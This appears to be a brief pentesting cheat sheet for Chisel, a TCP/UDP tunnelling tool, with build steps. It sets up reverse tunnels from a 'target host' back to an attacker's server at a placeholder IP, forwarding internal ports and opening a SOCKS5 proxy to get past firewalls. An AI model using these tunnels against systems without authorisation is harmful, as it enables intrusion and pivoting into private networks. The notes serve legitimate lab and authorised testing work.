# Chisel

What is chisel? From the developer:

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

# Using as a reverse tunnel

On Attack box (A:)

./chisel server -p 8000 --reverse                     # Start server listening on 8000:

On target host (T:)

chisel client 10.10.10.10:8000 R:80:127.0.0.1:80 	   # A: listen on 80   T: forward to localhost port 80 on client
chisel client 10.10.10.10:8000 R:4443:10.10.10.11:80   # A: listen on 4443 T: forward to 10.10.10.11 port 80
chisel client 10.10.10.10:8000 R:socks Create SOCKS5   # A: listen on 1080 T: proxy through socks5

NOTE: replace 10.10.10.10 with the attacking boxes IP.

# Installing

git clone https://github.com/jpillora/chisel.git  # Clone repo
cd chisel
go build -ldflags="-s -w"                         # Build executable with flags to reduce size
upx -9 chisel                                     # compress chisel executable